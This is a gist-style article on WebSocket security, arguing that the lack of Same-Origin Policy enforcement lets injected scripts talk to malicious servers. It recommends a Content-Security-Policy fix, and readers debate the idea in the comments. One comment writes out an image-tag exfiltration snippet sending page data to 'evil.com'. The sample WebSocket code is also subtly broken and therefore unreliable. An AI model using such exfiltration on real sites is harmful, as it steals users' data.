Skip to content

Instantly share code, notes, and snippets.

@subudeepak
Last active November 2, 2022 00:04
Show Gist options
  • Save subudeepak/9897212 to your computer and use it in GitHub Desktop.
Save subudeepak/9897212 to your computer and use it in GitHub Desktop.
The problems and some security implications of websockets - Cross-site WebSockets Scripting (XSWS)

WebSockets - An Introduction

WebSockets is a modern HTML5 standard which makes communication between client and server a lot more simpler than ever. We are all familiar with the technology of sockets. Sockets have been fundamental to network communication for a long time but usually the communication over the browser has been restricted. The general restrictions

  • The server used to have a permanent listener while the client (aka browser) was not designated any fixed listener for a more long term connection. Hence, every communication was restricted to the client demanding and the server responding.
  • This meant that unless the client requested for a particular resource, the server was unable to push such a resource to the client.
  • This was detrimental since the client is then forced to check with the server at regular intervals. This meant a lot of libraries focused on optimizing asynchronous calls and identifying the response of asynchronous calls. Notably the most common approach was to create on the fly functions with different names as callback functions. This can be witnessed here. If you open your console log and observe the network, you would notice how many connections are being made for this task. Pinging the server is not the problem but the amount of work involved in setting up a new connection everytime is. This is however essential in the old HTML standard to ensure that the client is never directly attacked by anyone.

Modern technologies have made it possible to sandbox the browser on a whole new scale thereby making it possible for riskier modes of access to be made. Hence a lot of newer technologies have been introduced including WebSockets. WebSockets is slightly different than the standard socket implementation. In this case, the protocol is still http[s] and this makes it more versatile (it has no problems in working with http proxies). The protocol is itself symbolized by ws[s]:// and it keeps the established connection open to continuously send or receive messages. WebSockets is an important and interesting protocol whose importance cannot be understated. I think that a growing number of web developers will try to implement WebSockets into their websites and it is going to be an undeniably dominant technology in the years to come.

I think that a growing number of web developers will try to implement WebSockets into their websites and it is going to be an undeniably dominant technology in the years to come.

An example implementation for WebSockets in JavaScript

var wsUri = "wss://" + document.location.host + "/wsendpoint";
try
{
    var websocketExample = new WebSocket(malwsUri);
}
catch(err)
{
    onError(err);
}
websocketExample.onerror = function(evt) { onThisError(evt); };
websocketExample.onmessage = function(evt) { onThisMessage(evt); };
function onThisError(evt) {
    writeToThisScreen('ERROR:' + evt.data);   
}
websocketExample.onopen = function(evt) { onThisOpen(evt); };
function writeToThisScreen(message) {
    var output = document.getElementById("output");
    output.innerHTML += '<div><p>'+message+'</p></div>';
}
function onThisOpen() {
    writeToThisScreen("Connected to " + malwsUri);
    websocketExample.send('hello');
    
}
function onThisMessage(evt) {
    writeToThisScreen("Received from server: " + evt.data);
}
function closeThisConnection()
{
    websocketExample.close();
}
function sendThisMessage()
{
    websocketExample.send(document.getElementById('message').value);
}
document.addEventListener('DOMContentReady', function () { document.getElementById('sendMsg').addEventListener('click', websocketExample.send(document.getElementById('message').value)); });

WebSockets - Some interesting projects

So before we jump into the security problems of WebSockets let me show some use cases of WebSockets.

  • Comments / Message notification in the website

This is a common use case in several application where the user needs to be notified on new comments or messages. There are UI components such as the notifications API (albeit still in draft) or the user defined components. These can be updated from any JS ofcourse. The usual update sequence has been from AJAX calls. However with WebSockets, we can make that relatively simpler since the server would send any updates when needed and the number of pings needed are very low thereby reducing both the client and server footprint.

  • Common editing platforms

With the advent of HTML5, shared editing is becoming very popular. Tools from google docs, word on the web, open source projects like etherpad etc have made it a reality. Though I cannot attest to the technology behind these tools in particular, I can definitely say that WebSockets can make this possible in a native manner. Since WebSockets follows the rules of http, the authorization mechanisms and sessions you have in place as part of your existing application also carries forward.

  • Monitoring solutions

In many cases we all monitor our servers, loads etc. and we use a http front end to see such activities in so-called real-time. The truth is that this is not as real-time as we presume since the cost to establish a secure tunnel is significant. WebSockets significantly reduce such latency for any real-time monitoring.

WebSockets - Security Overview

I know all the things I have said above make it difficult to justify that the current WebSocket specification itself poses some serious risks.

There have been some well known problems on the server side of the WebSockets and the most common solution has been to check the origin tag CSWSH. The discussions on this topic have even expanded to include the forgery of such socket communication despite the existence of the origin tag by re-routing the socket channel from the server instead of relying on the browser. While these are very valid problems my views on the subject is that we are not looking at the elephant in the room.

In the pursuit of securing the server, we often forget the end-user of the web-browser. Let us look at why WebSockets are so special that they represents a breaking point in HTML5.

Over so many years, we have been pushing for extended features in HTML5 that we have seemingly forgotten some of the design choices we made earlier. HTML5 does give us unlimited opportunities that the mere size of one article would never be able to cover. So I will restrain myself and talk only about a few things I would like to mention.

The first and foremost of them all is the beauty of CORS. CORS is a beauty in itself since it allows us to use a proper XMLHttpRequest across origins and achieve our purpose. Ok, let me go back to layman terms. In the browser, one of the major blocks of security has been the Same-Origin Policy. For those who understand SOP, please skip ahead to the next paragraph. The same-origin policy prevents a request made from one page to another if their origin is different. i.e. lets say http://yourwebsite.com wants to ask something from http://mywebsite.com, the browser would block it. This block meant that developers went around and over to find all the loopholes to overcome this. The browser allowed some resources to be shared (including scripts, images, video objects and such) and the developers used this mercilessly. The most used of these mechanisms is the use of JSONP.

I will write a separate article on JSONP but know that it uses the script tag's source attribute to make GET requests to cross-domain servers. Over the years, developers have been educated on the ill effects of JSONP and encouraged to add specific headers so as to be careful. Today one can bypass the use of JSONP completely by using CORS. The beauty of CORS allows one to send all kinds of request (note: JSONP allows only GET) to other domains.

Now we are almost getting off topic. So let me get back to WebSockets. I needed to provide CORS as an example because it matters significantly here. We have made a XMLHttpRequest so neat and well-balanced with proper support of a whitelist. In security, we always argue that a whitelist is better than a blacklist for obvious reasons. WebSockets is a nightmare because it does not come under the Same-origin policy.

WebSockets is a nightmare because it does not come under the Same-origin policy.

Why is this a nightmare? In case of WebSockets, we are left with very little choices. Once a much more unrestricted communication channel is established with the remote malicious server, there is no limitation on what can be done. The malicious server can then take its sweet time in evaluating every user action with no suspicious events making appropriate corrections and handling it accordingly. Further, if the channel established were a secure one, the limits of monitoring such a communication would increase as well. So it merely takes one malicious script to get so much access to one's site. This presents the single most damaging problem for any developer. Imagine, with all the modern events possible, one can monitor every DOM node for child changes, change any native action and goes without saying hijack the user's session and so on. It is almost impossible to disable this technology for your webpage since that is how JavaScript works.

Imagine http://yourwebsite.com loads information from many websites. This may be temperature information or an avatar (such as gravatar - though I am not accusing gravatar specifically of any wrongdoing) or feeds (such as twitter feeds - again not accusing twitter specifically). You tend to trust and load these scripts. Similarly, the use of content-delivery network (CDN) makes our applications vulnerable if the CDN was breached. Scripts could also be loaded into the website using the cross-site scripting vulnerability. The attacker/affected vendor at this time, need not worry about what information is important or how exactly to exploit the document object model (DOM). The script merely needs to establish a connection and from that point, the http://maliciouswebsite.com can take its own sweet time to do whatever it wants. I might have given access to you to use details from http://mywebsite.com after checking the origin diligently at my server and also get affected in the process by sending data that will routed to http://maliciouswebsite.com. Of course, these could have happened even without WebSockets but WebSockets reduces the complexity to do this. This allows unlimited possibilities and the attacker can keep using the client in so many ways by posting one payload after another.

I did mention earlier that JavaScript was getting more powerful and browsers were relaxing their limitations due to the presence of a sandbox. Imagine the power the hacker would get if a chrome app or firefox extension (which have access to even more powerful functionality) were to be affected. Note that WebSockets itself is not a problem and it is highly appreciated. The only non-logical problem seems to be the lack of enforcement of the same-origin policy.

It is as if we spent time to develop the perfect weapon and gave it to everyone to use at their discretion taking out the only armor we had.

Why we could not enforce the Same-origin policy on WebSockets when CORS is strictly made to follow the rules, I would never understand. It is like having normal border crossing and a teleporter. Every one using normal border crossing is checked thoroughly and anyone using the teleporter can feel free to come from any country. Then you make the teleporter available to every country. Grand idea ! No that is not enough. Make the teleporter so perfect that no one can disable it. We are truly geniuses !

This vulnerability can hence be called Cross-Site WebSockets Scripting since this is a variation of XSS that is made more potent by WebSockets.

WebSockets - Help me from this nightmare please

For now there is just a limited number of things a developer may do. The first and foremost of them all is to use your Content-Security-Policy header. Change it to reflect the following.

Content-Security-Policy : connect-src 'self'

The above prevents webSockets requests from any place but the current server. It also prevents CORS and EventSource requests. It is painful that this is only way available currently to disable this functionality. If you need to add other resources to CSP connect-src for CORS to be successful (note CORS needs one more header from the server side called Access-Control-Allow-Origin). If you need to add CORS support for a website, you will automatically authorize websocket requests as well. So be wary of it.

Even if you just use a pure html website, add this using the meta tag as follows and you should be good to go.

<meta http-equiv="Content-Security-Policy" content="connect-src 'self'">

For more details on content-security-policy, please check this out.

@avicoder
Copy link

Thanks For the Excellent Information !

@moronkreacionz
Copy link

Glad I found this write up. Great information.

@tublitzed
Copy link

Thank you, this is really helpful.

@mschipperheyn
Copy link

You might want to address phone app communication. There same origin is impossible.

@simonmiller99
Copy link

very informative, thanks for taking the time.

@bminer
Copy link

bminer commented Nov 10, 2016

Checking the Origin header is another alternative. All browsers send this header when a WebSocket connection is being established. The server can deny requests from untrusted origins.

@AlexNodex
Copy link

@bminer : Any header can be spoofed/faked, it would not take long for an attacker to work out the server whitelist and spoof the Origin header to match it

@subudeepak
Copy link
Author

subudeepak commented May 19, 2017

@bminer @mschipperheyn The Origin header can be used (in a purely browser context with HSTS and HPKP enabled, appropriate cookie protection mechanisms in place or in a phone app with HSTS and proper key pinning enabled) to ensure security of the legitimate server with regard to a web-socket connection. It can otherwise be spoofed as explained by @AlexNodex.
@AlexNodex: Thanks !

However, if there is a malicious JS on the page (for example due to XSS or downloading a bad copy of a library and using it without even performing a simple checksum). The lack of enforcement of the SOP allows this script to establish a websocket connection with a remote malicious server. (Note: an XSS script cannot by default create an XHR request to other origins)

@simonmiller99 @tublitzed @moronkreacionz @Vjex Glad it was useful ! :)

@thw0rted
Copy link

Could somebody show a proof of concept where server-side checking of the Origin header is insufficient? The difference between XHR and WS is that XHR allows manipulation of request headers from JS, while (as far as I can find) WS does not. Of course, you could make an XHR request to a WS endpoint but I don't think you could fake the upgrade-request handling in JS -- that has to be handled by the browser. So, I don't think it's actually possible to exploit WS (from a server that checks Origin) just by injecting malicious JS... but would love to be proved wrong.

@subudeepak
Copy link
Author

subudeepak commented Sep 4, 2017

@thw0rted
Server-side checking of the Origin protects the Server in addition to other security protections is good.

Otherwise

  1. Malicious Extensions on a browser
  2. Proxies on the network
  3. Or in extreme cases, scripts (JS/Extensions) sending cookie and other session information to a malicious third-party server

can result in packets with whatever Origin header being generated as mentioned by @AlexNodex

Please ping me on "subudeepak" /at/ gmail / outlook if you want faster replies :) Github never sends me notifications if someone posts things here.

@alekseyl
Copy link

alekseyl commented Dec 18, 2017

  1. Malicious Extensions on a browser

You are meaning in case they couldn't access session info directly, they could combine Origin header change with cross site forgery?

  1. Or in extreme cases, scripts (JS/Extensions) sending cookie and other session information to a malicious third-party server

Didn't get this part either, if you are talking about XSS and JS injection, this is not the Origin header verification concern.

@bhh1988
Copy link

bhh1988 commented May 16, 2018

I'm confused. If malicious scripts are running in your browser, those scripts can make XHRs to the malicious server already. I don't think SOP prevents that. The malicious server could just be set up to Access-Control-Allow-Origin: * so that it accepts requests from arbitrary origins. My understanding is that what CORS prevents is a malicious script from accessing or tampering with data on a GOOD site. See https://stackoverflow.com/a/4850752/798955

@pedro-nonfree
Copy link

@mschipperheyn you can use WebRTC for that

( @subudeepak ) and I'm curious about using WebRTC Data Channels instead of Websockets. Probably are "more secure".

@jaamison
Copy link

jaamison commented Apr 1, 2019

@subudeepak I see some serious problems with this analysis.

Your observation that websockets can be used as a tool by malicious code that may be injected into a 3rd party library hosted on a CDN, while correct, ignores this much larger fact:

If a 3rd party script referenced by your page contains any malicious code at all, you have already lost the war. At that point, you must assume that the entire session is compromised.

As the old adage goes:
If a hacker ever gains root access, he owns that machine forever.

A modern day web twist on the classic could be:
If a hacker is able to get his code to run on your page, he owns that session forever.

Claiming that websockets are dangerous because they provide a tool to actors who have already executed code in your context is like saying that it's a bad to arrange your living room furniture in a sparse, open layout because it provides an easier, less obstructed path for burglars to carry your heavy valuables out the door.

If someone's broken into your house, you don't ever want to rely on the fact that your couch inconveniently flanks the hallway. Likewise, someone who is in a position to be able to initiate an outgoing websocket connection to a foreign remote server has already won. If they are successfully blocked from opening a cross origin socket, then they can just fall back to inserting a script tag into the DOM, or at the very least pulling off a cute little '<img src="evil.com?' + YOUR_DATA + '">'

@bhh1988 brings up this point, and is correct in pointing out that the SOP protects "GOOD sites", not sites that have already been compromised in some way (those sites are screwed no matter what).

If you're running a production system and security is important to you, then don't hot link directly to 3rd party scripts hosted on a CDN.

You are clearly a smart guy, and you seem to acknowledge all of this:

Of course, these could have happened even without WebSockets ...

...but then you advocate a form of security through obscurity:

... but WebSockets reduces the complexity to do this.

This allows unlimited possibilities and the attacker can keep using the client in so many ways by posting one payload after another.

so... kind of like sending XHRs one after another?

Furthermore, don't put your fate in the hands of strange browser on the other side of the world. Just because you ask the browser to pretty-please respect your Content-Security-Policy doesn't necessarily mean it will. Hopefully it does, but there are always black swans.

What if google ships a botched chrome update (unlikely, but it wouldn't totally shock me) that skips those checks under a strange combination of circumstances?

What if your traffic goes through a (reverse) proxy or cache that inadvertently strips certain HTTP headers?

What if your devops guy slips up while configuring nginx?

Origin headers have their own set of edge cases and implementation inconsistencies. There are a million of these potential "unknown unknowns", and putting all your trust in the end user's browser to be your savior is never the answer.

At the end of the day, websockets are an extremely clever and innovative way of making it significantly easier to do things that were already possible before - easier for frontend developers, easier for backend developers, easier for sysadmins and infrastructure admins.... and, yes, easier for hackers who already own your site regardless. I suppose this all boils down to the philosophical question: does making things inconvenient for attackers constitute security?

@subudeepak
Copy link
Author

subudeepak commented Jun 7, 2019

I have replied to some people who have reached out to me by email. Apologies to anyone asking queries here for extremely delayed responses.

@pedro-nonfree I will write a more detailed reply to you on that.

@jaamison please do not misunderstand my claims. I do not imply that the streams of the websockets are insecure or some thing obscure like that. I imply that selectively applying the same origin policy is a bad choice. Websockets suffer because a selective panel decided that the same origin policy did not apply for websockets when agreeing that it applied to XHR. Either SOP makes sense for both or none. I claim it should and must be controlled by similar mechanisms as cors that apply to XHR.

If you state that any bad script existing in your page or browser means none of your other controls are a necessity, I wonder if you do a complete static analysis of every third party library you use.

I merely advise you to disable cross origin access for websockets using the content security policy since I consider this should have been the default and never in my whole analysis suggested you to avoid websockets.

@subudeepak
Copy link
Author

@pedro-nonfree As far as I can see webrtc data streams have a lot of security features that can be enforced. It is quite a robust protocol built on very sound principles. This protocol is quite similar to a traditional phone line. So understanding the limitations is important. First is authentication. While the protocol supports authentication, this is often times not enforced properly since many parts of these are optional to begin with. Second is the security of the data-streams. Data-streams are supposed to be very secure as far as the encryption protocols are concerned. Implementations may however have something like an intermediary server that acts like an end-node to both parties (rather than acting as a forwarding node) and this may cause the privacy offered by the data-stream to very reliant on the implementation. Third is the call-forward. Just like a phone call, a stream in webrtc is requires a party to act as a forwarder and this can be tricky. I had worked with people in KU leuven and published at more about these things a few years ago. Please find them at https://lirias.kuleuven.be/retrieve/387249

@jota12x
Copy link

jota12x commented Feb 7, 2020

Amazing article. Thanks !

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment